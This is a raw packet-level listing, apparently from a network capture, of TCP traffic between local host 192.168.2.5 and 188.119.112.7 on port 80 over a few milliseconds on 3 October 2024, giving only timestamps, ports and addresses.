Oct 3, 2024 20:42:02.239643097 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239676952 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239694118 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.239710093 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239713907 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.239744902 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239775896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239809036 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239828110 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.239842892 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239866972 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.239876986 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239893913 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.239906073 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239938021 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239970922 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239989042 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.240005016 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240026951 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.240040064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240446091 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240497112 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240498066 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.240530014 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240545988 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.240562916 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240596056 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240628958 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240645885 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.240662098 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240674973 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.240695000 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240725994 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240760088 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240776062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.240792990 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240811110 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.240823984 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240854979 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240897894 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240926027 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.240927935 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.240946054 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.240962029 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241394997 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241410971 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241425037 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241440058 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241451025 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.241455078 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241470098 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241470098 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.241485119 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241487026 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.241501093 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241517067 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241523027 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.241533041 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.241545916 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.241581917 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.242161036 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242177010 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242189884 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242203951 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242218971 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242229939 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.242232084 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242247105 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242263079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242271900 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.242271900 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.242279053 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242294073 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242299080 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.242309093 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242325068 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242338896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242350101 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.242355108 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242367029 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.242372036 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.242415905 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.243154049 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243170977 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243185043 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243200064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243215084 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243227959 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.243231058 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243246078 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243252039 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.243261099 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243278027 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243289948 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.243293047 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243308067 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243324041 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243343115 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.243547916 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.244127035 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244143963 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244158030 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244173050 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244188070 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244203091 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244216919 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244223118 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.244230986 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244242907 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.244246960 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244261980 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244262934 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.244277000 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244280100 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.244292974 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244307995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244307995 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.244323015 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244335890 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.244338989 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.244364023 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245058060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245074034 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245088100 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245104074 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245117903 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245124102 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245142937 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245148897 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245157003 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245168924 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245174885 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245189905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245203972 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245208979 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245229959 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245764971 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245784998 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245799065 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245815992 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245815039 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245831966 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245836973 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245848894 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245863914 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245879889 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245896101 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245898008 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245910883 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245918036 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245927095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245939016 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.245943069 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245959044 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.245975018 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.246012926 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.246762991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246778965 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246793032 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246807098 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246823072 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246829987 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.246838093 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246853113 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246853113 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.246870041 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246885061 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246895075 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.246901035 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246912956 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.246917009 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246932983 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246941090 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.246948004 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246963978 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.246985912 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.247005939 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.247642040 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247658014 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247673035 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247688055 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247703075 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.247703075 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247720003 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247735023 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247750044 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.247750998 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247767925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247776031 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.247785091 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247796059 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.247800112 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247816086 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247831106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247845888 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.247849941 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.247874022 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.247889996 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.248507023 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.248523951 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.248538017 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.248553991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.248567104 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.248583078 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.248598099 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.248614073 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.248629093 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.248821974 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.249027967 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249044895 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249059916 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249074936 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249090910 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249093056 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.249106884 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249121904 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.249138117 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249141932 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.249154091 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249167919 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249182940 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249190092 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.249197960 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249209881 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.249214888 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249232054 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249243975 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.249248028 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249263048 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.249293089 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.249310017 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.250158072 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250173092 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250189066 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250204086 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250217915 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250222921 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.250233889 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250246048 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.250248909 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250266075 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250281096 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250284910 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.250296116 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250312090 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250327110 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250329018 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.250341892 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250349998 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.250358105 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.250366926 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.250406027 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.250999928 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.251015902 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.251029968 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.251046896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.251063108 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.251064062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.251087904 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.251107931 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.251111984 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.251127958 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.251137018 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.251162052 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.251188040 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.251213074 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.251230001 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.257987022 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.262861967 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.262917995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.262953043 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263031006 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.263098001 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263132095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263155937 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.263165951 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263200045 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263257980 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.263339043 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263370991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263406038 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.263422966 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263457060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263474941 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.263736010 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263784885 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263792992 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.263818026 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263850927 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263885975 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263901949 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.263919115 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263931036 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.263953924 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.263987064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264019012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264023066 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.264051914 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264062881 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.264086008 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264117956 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264162064 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.264539003 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264571905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264605999 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264610052 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.264638901 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264648914 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.264672995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264705896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264724970 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.264740944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264772892 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264786005 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.264805079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264837027 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264872074 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264883995 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.264904022 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264915943 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.264936924 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.264970064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.265018940 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.265352011 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.265415907 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.265461922 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.265497923 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.265531063 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.265546083 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.265566111 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.265598059 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.265609026 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.265634060 CEST	80	49704	188.119.112.7	192.168.2.5
